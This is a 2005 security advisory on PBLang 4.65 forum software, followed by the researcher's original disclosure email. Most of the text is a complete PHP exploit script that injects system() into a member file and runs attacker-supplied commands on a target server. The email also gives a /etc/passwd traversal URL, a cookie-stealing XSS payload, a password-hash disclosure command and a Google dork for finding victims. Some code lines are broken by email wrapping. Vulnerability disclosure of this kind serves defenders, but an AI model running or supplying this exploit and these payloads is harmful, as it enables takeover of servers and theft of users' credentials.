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Category:   Application (Forum/Board/Portal)  >   PBLang Vendors:   PBLang-Team
PBLang Bug Lets Remote Users Execute Commands via '/db/members' Files and View Files on the System Using 'setcookie.php'
SecurityTracker Alert ID:  1014861
SecurityTracker URL:  http://securitytracker.com/id/1014861
CVE Reference:   CVE-2005-2892, CVE-2005-2893, CVE-2005-2895   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Sep 7 2005
Impact:   Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 4.65
Description:   rgod reported a vulnerability in PBLang. A remote user can execute arbitrary code on the target system. A remote user can also view files on the target system and determine the installation path.

When a remote user registers a new username, a file containing user-supplied input is created in the '/db/members' directory. A remote user can supply a specially crafted 'location' value to cause arbitrary PHP code to be injected into the file.

A demonstration exploit value is provided:

madrid"; system($HTTP_POST_VARS[cmd]); echo "

Then, the remote user can cause the system to invoke the PHP file with, for example, the following type of URL:

http://[target]/[path]/setcookie.php?u=[username]%00

The 'setcookie.php' script does not properly validate user-supplied input in the 'u' parameter. A remote user can supply a specially crafted parameter value containing '../' directory traversal parameters to view non-PHP files.

A demonstration exploit URL is provided:

http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00

A remote user can cause the system to disclose the installation path with the following type of URL:

http://[target]/[path]/setcookie.php?u=%00

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

A remote user can view files on the target system with the privileges of the target web service.

A remote user can determine the installation path.

Solution:   No solution was available at the time of this entry.
Vendor URL:  pblang.drmartinus.de/ (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Wed, 7 Sep 2005 05:26:13 +0200 (ora legale Europa occidentale)
Subject:  PBLang 4.65 (possibly prior versions) remote code execution / administrative credentials disclosure / system information disclosure / cross site scripting / path disclosure

PBLang 4.65 (possibly prior versions) remote code execution / administrative
credentials disclosure 
/ system information disclosure / cross site scripting / path disclosure

software:
description: PBLang is a powerful flatfile Bulletin Board System. It
combines many features of 
a professional board, but does not even require SQL support. It is
completely based on text-file. 
site: http://pblang.drmartinus.de/
download: https://sourceforge.net/project/showfiles.php?group_id=62953

1) system disclosure: 

you can traverse directories and see any file (if not .php or .php3 etc.)
and include 
any file on target system using '../' chars and null byte (%00), example:

http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00

vulnerable code in setcookie.php:

   ...
16 $usrname=$HTTP_GET_VARS['u'];
17 @include($dbpath.'/'.$usrname.'temp');
   ...

2) remote code execution: 

board stores data in files, when you register a [username] file without
extension
is created in /db/members directory, inside we have php code executed when
you
login, so in location field type:

madrid"; system($HTTP_POST_VARS[cmd]); echo "

in /db/members/[username] file we have

..
$userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo "";
..

no way to access the script directly, /db/members is .htaccess protected
and extra lines are deleted from files after you login, so you should make
all in a POST request and re-register

this is my proof of concept exploit, to include [username] file I make a GET
request
of setcookie.php?u=[username]%00&cmd=[command] but you can call username
file through some other inclusion 
surely when you surf the forum:

<?php
/* PBLang 4.65 (possibly prior versions) remote code execution
   by rgod -> site: http://rgod.altervista.org
   make these changes in php.ini if you have troubles with this script:
   allow_call_time_pass_reference = on
   register_globals = on             */

   error_reporting(0);
   ini_set("max_execution_time",0);
   ini_set("default_socket_timeout", 2);
   ob_implicit_flush (1);

   echo '<head><title>PBLang 4.65 remote commands execution</title>
         <meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
         <style type="text/css">
         <!--
         body,td,th {color: #00FF00;}
         body {background-color: #000000;}
         .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; }
         .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
        font-weight: bold;
        font-style: italic;
              }
         -->
         </style></head>
         <body>
         <p class="Stile6">PBLang 4.65 (possibly prior versions) remote
commands execution</p>
         <p class="Stile6">a script by rgod at <a href="http://rgod
altervista.org" target="_blank">http://rgod.altervista.org</a></p>
         <table width="84%" >
         <tr>
         <td width="43%">
         <form name="form1" method="post" action="'.$SERVER[PHP_SELF].
?path=value&host=value&port=value&command=value&proxy=value">
         <p>
         <input type="text" name="host">
         <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
         <p>
         <input type="text" name="path">
         <span class="Stile5">path (ex: /pblang/ or /forum/ or just /)
</span></p>
         <p>
         <input type="text" name="port">
         <span class="Stile5">specify a port other than 80 (default value)
</span></p>
         <p>
         <input type="text" name="command">
         <span class="Stile5">a Unix command, example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p>
         <p>
         <input type="text" name="proxy">
         <span class="Stile5">send exploit through an HTTP proxy (ip:port) 
</span></p>
         <p>
         <input type="submit" name="Submit" value="go!">
         </p>
         </form></td>
         </tr>
         </table>
         </body>
         </html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
       }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
       }

echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';


if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}

$anumber=rand();

         $data="user=jimihendrix".$anumber.
&pass=jimijimi&pass2=jimijimi&em=jimimail".$anumber."@jimimail
com&realname=&alias=&msn=&icq=&aim=&yahoo=&qq=&web=http%3A%2F%2F&loc="
urlencode('madrid"; error_reporting(0); system($HTTP_GET_VARS[cmd]); echo "
) ."&pt=colorgination
com+harness+racing+video&av=none&webav=&sig=&regcode=1126055838&lang=en&accep
=1&Submit=Submit";

if ($proxy=='')
        { $packet="POST ".$path."register.php?reg=2 HTTP/1.1\r\n"; }
        else
        {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
             die;
            }
         else
 { $packet="POST http://".$host.$path."register.php?reg=2 HTTP/1.1\r\n";}
 }
 
         $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
         $packet.="Referer: ".$host.$path."register.php?reg=1\r\n";
         $packet.="Accept-Language: en\r\n";
         $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
         $packet.="Accept-Encoding: gzip, deflate\r\n";
         $packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot
htm)\r\n";
         $packet.="Host: ".$host."\r\n";
         $packet.="Content-Length: ".strlen($data)."\r\n";
         $packet.="Connection: Keep-Alive\r\n";
         $packet.="Cache-Control: no-cache\r\n\r\n";
  $packet.=$data;

show($packet);
if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $fp=fsockopen($parts[0],$parts[1]);
     if (!$fp) { echo 'No response from proxy...';
   die;
         }
     }
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a)
$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo nl2br(htmlentities($data));

if ($proxy=='')
        { $packet="GET ".$path."setcookie.php?u=jimihendrix".$anumber.
%00&cmd=".urlencode($command)." HTTP/1.1\r\n"; }
        else
        { $packet="GET http://".$host.$path."setcookie.php?u=jimihendrix"
$anumber."%00&cmd=".urlencode($command)." HTTP/1.1\r\n"; }

         $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
         $packet.="Referer: ".$host.$path."login.php\r\n";
         $packet.="Accept-Language: en\r\n";
         $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
         $packet.="Accept-Encoding: gzip, deflate\r\n";
         $packet.="User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3;
Linux) KHTML/3.3.2 (like Gecko)\r\n";
         $packet.="Host: ".$host."\r\n";
         $packet.="Content-Length: ".strlen($data)."\r\n";
         $packet.="Connection: Keep-Alive\r\n";
         $packet.="Cache-Control: no-cache\r\n\r\n";
//  $packet.=$data;
show($packet);
if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $fp=fsockopen($parts[0],$parts[1]);
     if (!$fp) { echo 'No response from proxy...';
   die;
         }
     }

fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a)
$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo nl2br(htmlentities($data));

}
?>


3)admin/user credentials disclosure: 

you can see  password hash of any user or admin sending the command:

cat ./db/members/[username]

 
4) cross site scripting:

register and in location field type: 

madrid"; echo "<script>alert(document.cookie)</script>

then check this url:

http://[target]/[path]/setcookie.php?u=[username]%00


5) path disclosure:

http://[target]/[path]/setcookie.php?u=%00


googledork: "Software PBLang" filetype:php

rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it

 
 
 


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